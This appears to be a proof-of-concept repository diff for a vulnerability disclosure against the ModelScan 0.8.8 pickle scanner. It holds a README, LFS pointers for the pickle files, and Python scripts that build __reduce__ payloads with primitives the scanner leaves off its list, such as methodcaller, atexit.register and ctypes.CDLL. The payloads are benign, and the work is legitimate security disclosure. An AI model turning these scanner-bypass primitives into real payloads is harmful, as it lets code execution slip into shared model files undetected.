A1-S1: ModelScan additional unsafe_globals primitives PoC

R2_A1-02_methodcaller.pkl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:952adc4520b2999f2566b4dbd01daea751b5be1730e1acfa4810771e6ab26139
+size 52

R2_A1-05_partial.pkl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:8cb92efd3771caf0f2e5b1fe88e3c478fa6aaf54ee9f48158d2e5238385e2ae2
+size 66

R2_A1-07_atexit.pkl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c4484750fa55fe6f616b02a7f651ebd9e7c1d33e83897ee5812a82d7315b0baf
+size 73

R2_A1-09_threading.pkl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:094530a980f6286620e38f6ac4f3082eab0b3a9f4e706ffaa25bd667fcfbc251
+size 38

README.md

@@ -0,0 +1,55 @@
+---
+license: cc-by-4.0
+tags:
+  - security
+  - poc
+  - modelscan
+---
+
+# ModelScan v0.8.8 additional unsafe_globals primitives
+
+Proof-of-concept pickle files demonstrating that ModelScan's `unsafe_globals`
+allowlist omits four additional code-execution primitives beyond those already
+disclosed in issues #338, #331, and PR #339 on `protectai/modelscan`:
+
+- `operator.methodcaller`
+- `functools.partial`
+- `atexit.register`
+- `threading.Thread`
+
+**These pickle files are intentionally malicious for demonstration purposes.**
+Do not load any of them on a system you care about. Each file contains a
+minimal `__reduce__`-shaped payload referencing one of the four primitives.
+
+See the huntr submission for the detailed Description.
+
+## Reproduction
+
+```bash
+python -m venv venv
+# Windows:
+. venv/Scripts/activate
+# POSIX:
+. venv/bin/activate
+
+pip install modelscan==0.8.8
+git clone https://huggingface.co/askeladd-k/modelscan-additional-primitives poc
+cd poc
+python repro.py
+```
+
+### Expected output
+
+```
+R2_A1-02_methodcaller.pkl: total_issues=0 [BYPASSED (gap)]
+R2_A1-05_partial.pkl:      total_issues=0 [BYPASSED (gap)]
+R2_A1-07_atexit.pkl:       total_issues=0 [BYPASSED (gap)]
+R2_A1-09_threading.pkl:    total_issues=0 [BYPASSED (gap)]
+positive_control.pkl:      total_issues=1 [FLAGGED (positive control)]
+```
+
+## AI disclosure
+
+These proof-of-concept files were generated with AI-assisted analysis and
+manually verified in a clean environment against vanilla
+`pip install modelscan==0.8.8`.

build_pocs.py

@@ -0,0 +1,230 @@
+"""
+R2 fixture: validate Claude+Codex AGREE-1 (allowlist is too narrow).
+
+Method: build pickles that use UNALLOWLISTED primitives to demonstrate ModelScan
+fails to flag them. We test multiple primitives separately so we can credit each
+to the corresponding gap candidate.
+
+Each test produces a pickle whose collected globals are entirely unallowlisted.
+If ModelScan reports zero issues on a given pickle, that's confirmation of the
+specific gap.
+
+Primitives tested:
+- A1-01: builtins.type (Claude pass)
+- A1-02: operator.methodcaller (Claude pass)
+- A1-03: importlib.import_module (Claude pass)
+- A1-05: functools.partial (Claude pass)
+- A1-07: atexit.register (Claude pass)
+- A1-09: threading.Thread (Claude pass)
+- CDX-02: marshal.loads + types.FunctionType (Codex pass)
+- CDX-03: ctypes.CDLL (Codex pass)
+"""
+import builtins
+import json
+import os
+import pickle
+import subprocess
+import sys
+from pathlib import Path
+
+
+HERE = Path(__file__).resolve().parent
+
+
+# ---------------------------------------------------------------------------
+# Build pickles using each unallowlisted primitive.
+# Each __reduce__ returns (callable, args) where `callable` is the targeted
+# unallowlisted primitive. The pickle's collected globals will include
+# (callable.__module__, callable.__qualname__) — this is what ModelScan scans.
+# ---------------------------------------------------------------------------
+
+
+class TypeReduce:
+    """A1-01: builtins.type — pyjail-escape primitive."""
+
+    def __reduce__(self):
+        return (type, ("X", (object,), {}))
+
+
+class MethodcallerReduce:
+    """A1-02: operator.methodcaller — symmetric to allowlisted attrgetter."""
+
+    def __reduce__(self):
+        import operator
+
+        return (operator.methodcaller, ("upper",))
+
+
+class ImportlibReduce:
+    """A1-03: importlib.import_module — bypasses builtins.__import__ allowlist."""
+
+    def __reduce__(self):
+        import importlib
+
+        return (importlib.import_module, ("io",))
+
+
+class PartialReduce:
+    """A1-05: functools.partial — generic callable wrapper."""
+
+    def __reduce__(self):
+        import functools
+
+        return (functools.partial, (str, "test"))
+
+
+class AtexitReduce:
+    """A1-07: atexit.register — deferred RCE primitive."""
+
+    def __reduce__(self):
+        import atexit
+
+        # Benign callback for fixture purposes (registers print, not os.system).
+        # The point: detecting that atexit.register is callable at unpickle time.
+        return (atexit.register, (print, "atexit_test"))
+
+
+class ThreadingReduce:
+    """A1-09: threading.Thread — async RCE primitive."""
+
+    def __reduce__(self):
+        import threading
+
+        # Construct a Thread with a benign target. Fixture goal is opcode-level
+        # detection, not execution semantics.
+        return (threading.Thread, ())
+
+
+class MarshalReduce:
+    """CDX-02: marshal.loads as the reduce callable.
+
+    Simpler than the full FunctionType chain — just demonstrates marshal.loads
+    is callable at unpickle time and not flagged. The bytes arg is a marshaled
+    code object; calling marshal.loads(bytes) returns the code object.
+    """
+
+    def __reduce__(self):
+        import marshal
+
+        code_obj = compile("None", "<exploit>", "exec")
+        marshaled = marshal.dumps(code_obj)
+        return (marshal.loads, (marshaled,))
+
+
+class CtypesReduce:
+    """CDX-03: ctypes.CDLL — native library loading primitive."""
+
+    def __reduce__(self):
+        import ctypes
+
+        # Reference ctypes.CDLL. The constructor will fail at unpickle time
+        # because the library name does not exist, but that failure occurs
+        # AFTER pickle collects the GLOBAL ref. We want to check whether
+        # ModelScan flags the GLOBAL ref to ctypes.CDLL statically.
+        return (ctypes.CDLL, ("non_existent_lib_for_fixture",))
+
+
+# ---------------------------------------------------------------------------
+# Run each pickle through modelscan and collect verdicts.
+# ---------------------------------------------------------------------------
+
+
+def write_pickle(obj, name: str) -> Path:
+    out = HERE / f"R2_{name}.pkl"
+    out.write_bytes(pickle.dumps(obj))
+    return out
+
+
+def run_modelscan(target: Path) -> dict:
+    modelscan_exe = Path(sys.executable).parent / "modelscan.exe"
+    result = subprocess.run(
+        [str(modelscan_exe), "-p", str(target), "--reporting-format", "json"],
+        capture_output=True,
+        text=True,
+    )
+    stdout = result.stdout
+    if "{" not in stdout:
+        return {
+            "raw_stdout": stdout,
+            "raw_stderr": result.stderr,
+            "exit_code": result.returncode,
+            "parse_error": "no JSON in stdout",
+        }
+    json_start = stdout.find("{")
+    json_end = stdout.rfind("}") + 1
+    json_blob = stdout[json_start:json_end]
+    json_blob_clean = json_blob.replace("\n", "").replace("\r", "")
+    try:
+        return {
+            "parsed": json.loads(json_blob_clean),
+            "raw_stderr": result.stderr,
+            "exit_code": result.returncode,
+        }
+    except json.JSONDecodeError as e:
+        return {
+            "raw_stdout": stdout,
+            "raw_stderr": result.stderr,
+            "exit_code": result.returncode,
+            "parse_error": str(e),
+        }
+
+
+def issues_in(result: dict) -> list:
+    if "parsed" not in result:
+        return []
+    return result["parsed"].get("issues") or []
+
+
+def main() -> int:
+    cases = [
+        ("A1-01_type", TypeReduce()),
+        ("A1-02_methodcaller", MethodcallerReduce()),
+        ("A1-03_importlib", ImportlibReduce()),
+        ("A1-05_partial", PartialReduce()),
+        ("A1-07_atexit", AtexitReduce()),
+        ("A1-09_threading", ThreadingReduce()),
+        ("CDX-02_marshal_types", MarshalReduce()),
+        ("CDX-03_ctypes", CtypesReduce()),
+    ]
+
+    verdicts = []
+    for name, obj in cases:
+        path = write_pickle(obj, name)
+        result = run_modelscan(path)
+        n_issues = len(issues_in(result))
+        bypass = n_issues == 0
+        verdicts.append((name, path.name, bypass, n_issues, result))
+        print(f"[R2] {name}: {'BYPASS' if bypass else 'FLAGGED'} ({n_issues} issues)")
+
+    print("\n=== R2 VERDICT ===")
+    bypass_count = sum(1 for _, _, b, _, _ in verdicts if b)
+    flagged_count = len(verdicts) - bypass_count
+    print(f"{bypass_count} primitives BYPASSED, {flagged_count} primitives FLAGGED")
+    print()
+    print("BYPASSED (confirms gap):")
+    for name, path, bypass, n_issues, _result in verdicts:
+        if bypass:
+            print(f"  - {name} ({path})")
+    print()
+    print("FLAGGED (gap not present for this primitive):")
+    for name, path, bypass, n_issues, _result in verdicts:
+        if not bypass:
+            print(f"  - {name} ({path}) -> {n_issues} issues")
+
+    # Write structured results
+    summary = {
+        "cases": [
+            {"name": name, "path": path, "bypass": bypass, "n_issues": n_issues}
+            for name, path, bypass, n_issues, _result in verdicts
+        ],
+        "bypass_count": bypass_count,
+        "flagged_count": flagged_count,
+    }
+    (HERE / "R2_summary.json").write_text(json.dumps(summary, indent=2))
+    print(f"\nWrote summary -> {HERE / 'R2_summary.json'}")
+
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

positive_control.pkl

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:707ca6594823f5eae1e58fc37cda7943d019f73a8f07f947532f2a477a2315bd
+size 56

repro.py

@@ -0,0 +1,37 @@
+#!/usr/bin/env python3
+"""Reproduce ModelScan v0.8.8 bypass on the four PoC pickle files.
+
+Expected: 4 PoCs report total_issues=0; positive_control reports total_issues=1.
+"""
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+modelscan = Path(sys.executable).parent / (
+    "modelscan.exe" if sys.platform == "win32" else "modelscan"
+)
+if not modelscan.exists():
+    raise RuntimeError(
+        f"modelscan not found at {modelscan}. "
+        f"Run `pip install modelscan==0.8.8` in this venv first."
+    )
+
+for poc in sorted(Path(".").glob("*.pkl")):
+    result = subprocess.run(
+        [str(modelscan), "-p", str(poc), "--reporting-format", "json"],
+        capture_output=True,
+        text=True,
+    )
+    stdout = result.stdout
+    if "{" not in stdout:
+        print(f"{poc.name}: PARSE-FAILED")
+        continue
+    blob = stdout[stdout.find("{"):stdout.rfind("}")+1].replace("\n", "").replace("\r", "")
+    data = json.loads(blob)
+    total = data["summary"]["total_issues"]
+    label = (
+        "FLAGGED (positive control)" if poc.name == "positive_control.pkl"
+        else "BYPASSED (gap)"
+    )
+    print(f"{poc.name}: total_issues={total} [{label}]")